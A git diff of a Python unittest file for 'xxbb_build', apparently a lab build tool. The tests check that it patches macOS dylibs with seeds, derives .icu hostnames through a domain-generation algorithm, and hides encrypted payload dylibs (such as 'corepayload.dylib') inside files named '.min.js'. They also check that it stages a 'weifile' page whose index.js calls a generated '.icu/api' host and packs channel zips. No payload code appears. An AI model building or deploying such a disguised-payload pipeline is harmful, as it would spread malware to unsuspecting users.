feat: xxbb
This commit is contained in:
@@ -31,7 +31,6 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
reporting_seed=rep,
|
||||
channel_c=channel_c,
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
self.assertEqual(data.count(dep.encode()), 1)
|
||||
self.assertEqual(data.count(rep.encode()), 1)
|
||||
@@ -79,27 +78,38 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
weifile = artifact / "weifile"
|
||||
weifile = state / "out" / "weifile"
|
||||
details = artifact / "details"
|
||||
self.assertFalse((artifact / "weifile").exists())
|
||||
self.assertTrue((weifile / "index.js").is_file())
|
||||
self.assertTrue((weifile / "weifile.html").is_file())
|
||||
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
||||
self.assertIn(channel_c, html)
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertIn("/t.js", html)
|
||||
self.assertNotIn("/t.js", html)
|
||||
self.assertIn("index.js", html)
|
||||
index_js = (weifile / "index.js").read_text(encoding="utf-8")
|
||||
expected_host = generate_domains(channel_c, 1)[0]
|
||||
self.assertIn(expected_host, index_js)
|
||||
self.assertNotIn("[placeholder].icu", index_js)
|
||||
self.assertIn("CACACACA", index_js)
|
||||
self.assertIn("sessionId:sid", index_js)
|
||||
self.assertIn("__iptj_sid", index_js)
|
||||
self.assertFalse((artifact / "source").exists())
|
||||
self.assertTrue((details / "show.html").is_file())
|
||||
self.assertTrue((details / "corepayload.js").is_file())
|
||||
self.assertTrue((details / "helion.js").is_file())
|
||||
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
|
||||
blob = (weifile / f"{stem}.min.js").read_bytes()
|
||||
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
|
||||
dylib = decrypt_secondary_minjs(blob, key)
|
||||
self.assertIn(b"11111111111111111111111111111111", dylib)
|
||||
self.assertIn(channel_c.encode(), dylib)
|
||||
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
|
||||
self.assertIn(b"https://%@\x00", dylib)
|
||||
self.assertNotIn(b"http://%@\x00", dylib)
|
||||
meta = xxbb_build.load_keys()
|
||||
self.assertGreaterEqual(len(meta["stems"]), 10)
|
||||
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", meta["stems"])
|
||||
for stem, info in meta["stems"].items():
|
||||
blob = (weifile / f"{stem}.min.js").read_bytes()
|
||||
dylib = decrypt_secondary_minjs(blob, bytes.fromhex(info["key"]))
|
||||
self.assertIn(b"11111111111111111111111111111111", dylib, stem)
|
||||
self.assertIn(channel_c.encode(), dylib, stem)
|
||||
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib, stem)
|
||||
self.assertIn(b"https://%@\x00", dylib, stem)
|
||||
self.assertNotIn(b"http://%@\x00", dylib, stem)
|
||||
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), dylib, stem)
|
||||
|
||||
member, core = extract_member((details / "corepayload.js").read_bytes())
|
||||
self.assertEqual(member, "corepayload.dylib")
|
||||
@@ -120,8 +130,10 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
|
||||
|
||||
manifest = json.loads((out / "MANIFEST.json").read_text())
|
||||
self.assertEqual(manifest["weifile_path"], "/weifile/weifile.html")
|
||||
self.assertIsNone(manifest["weifile_path"])
|
||||
self.assertEqual(manifest["details_path"], "/details/")
|
||||
self.assertEqual(manifest["iptj_host"], generate_domains(channel_c, 1)[0])
|
||||
self.assertTrue(manifest["staged_weifile"].endswith("weifile"))
|
||||
|
||||
def test_seeds_generated_once_then_reused(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
@@ -145,12 +157,13 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(len(first[0]), 32)
|
||||
self.assertEqual(len(first[1]), 32)
|
||||
self.assertEqual(first[0], first[1])
|
||||
self.assertEqual(first[2], xxbb_build.ORIGINAL_C)
|
||||
self.assertEqual(len(first[2]), 32)
|
||||
self.assertNotEqual(first[2], xxbb_build.SEVEN_ZIP_PASSWORD)
|
||||
self.assertEqual(len(first[3]["deployment"]), 5)
|
||||
self.assertEqual(len(first[3]["reporting"]), 5)
|
||||
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
|
||||
self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
||||
self.assertEqual(first[3]["deployment"][0], generate_domains(first[2], 1)[0])
|
||||
|
||||
def test_xxbb_dga_matches_native_pool(self) -> None:
|
||||
self.assertEqual(
|
||||
@@ -207,35 +220,7 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
cli_c=None,
|
||||
)
|
||||
|
||||
def test_http_scheme_rewrites_url_formats(self) -> None:
|
||||
path = xxbb_build.group_dylib_path("C")
|
||||
raw = path.read_bytes()
|
||||
https = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
http = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="http",
|
||||
)
|
||||
self.assertIn(b"https://%@\x00", https)
|
||||
self.assertIn(b"https://backup%u.icu\x00", https)
|
||||
self.assertNotIn(b"http://%@\x00", https)
|
||||
self.assertIn(b"http://%@\x00", http)
|
||||
self.assertIn(b"http://backup%u.icu\x00", http)
|
||||
self.assertNotIn(b"https://%@\x00", http)
|
||||
self.assertNotIn(b"https://backup%u.icu\x00", http)
|
||||
self.assertEqual(len(http), len(https))
|
||||
|
||||
def test_apply_works_without_channel_name(self) -> None:
|
||||
def test_apply_writes_details_and_staged_weifile(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
artifact = Path(tmp) / "public"
|
||||
state = Path(tmp) / "state"
|
||||
@@ -259,7 +244,81 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
self.assertTrue((artifact / "weifile" / "weifile.html").is_file())
|
||||
self.assertTrue((artifact / "details" / "show.html").is_file())
|
||||
self.assertFalse((artifact / "weifile").exists())
|
||||
self.assertTrue((state / "out" / "weifile" / "index.js").is_file())
|
||||
index_js = (state / "out" / "weifile" / "index.js").read_text(encoding="utf-8")
|
||||
self.assertIn(generate_domains("33333333333333333333333333333333", 1)[0], index_js)
|
||||
self.assertIn("CACACACA", index_js)
|
||||
|
||||
def test_discovers_all_fafa_secondaries(self) -> None:
|
||||
meta = xxbb_build.load_keys()
|
||||
stems = meta["stems"]
|
||||
self.assertEqual(len(stems), 10)
|
||||
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "A"), 4)
|
||||
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "B"), 5)
|
||||
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "C"), 1)
|
||||
self.assertIn("1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6", stems)
|
||||
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", stems)
|
||||
self.assertEqual(stems["fb95e427382180860f0b48a8854576ec1a6ce7b1"]["group"], "A")
|
||||
|
||||
def test_random_c_rewrites_lab_seeds(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
path = Path(tmp) / "lab_seeds.json"
|
||||
first = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=path,
|
||||
cli_dep="11111111111111111111111111111111",
|
||||
cli_rep="11111111111111111111111111111111",
|
||||
cli_c="33333333333333333333333333333333",
|
||||
)
|
||||
second = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=path,
|
||||
cli_dep="11111111111111111111111111111111",
|
||||
cli_rep="11111111111111111111111111111111",
|
||||
cli_c=None,
|
||||
random_c=True,
|
||||
)
|
||||
self.assertEqual(first[2], "33333333333333333333333333333333")
|
||||
self.assertNotEqual(second[2], first[2])
|
||||
self.assertEqual(len(second[2]), 32)
|
||||
self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0])
|
||||
|
||||
def test_pack_replaces_channel_placeholder(self) -> None:
|
||||
import pack_channel
|
||||
from zipfile import ZipFile
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
src = Path(tmp) / "weifile"
|
||||
src.mkdir()
|
||||
(src / "index.js").write_text(
|
||||
'const V="CACACACA";const N="https://syv4c2c8nb8fpzo.icu/api";',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(src / "weifile.html").write_text(
|
||||
'<script type="text/javascript" src="index.js"></script>',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(src / "extra.min.js").write_text("ok", encoding="utf-8")
|
||||
zip_out = Path(tmp) / "channel-source-new" / "FAFA9988.zip"
|
||||
result = pack_channel.pack_channel(
|
||||
channel_code="fafa9988",
|
||||
weifile_src=src,
|
||||
zip_out=zip_out,
|
||||
)
|
||||
self.assertEqual(result["channel_code"], "FAFA9988")
|
||||
self.assertTrue(zip_out.is_file())
|
||||
self.assertIn("CACACACA", (src / "index.js").read_text(encoding="utf-8"))
|
||||
with ZipFile(zip_out) as archive:
|
||||
names = set(archive.namelist())
|
||||
self.assertIn("weifile/index.js", names)
|
||||
self.assertIn("weifile/weifile.html", names)
|
||||
self.assertIn("weifile/extra.min.js", names)
|
||||
index_js = archive.read("weifile/index.js").decode("utf-8")
|
||||
html = archive.read("weifile/weifile.html").decode("utf-8")
|
||||
self.assertIn('const V="FAFA9988"', index_js)
|
||||
self.assertNotIn("CACACACA", index_js)
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertNotIn("/t.js", html)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
Reference in New Issue
Block a user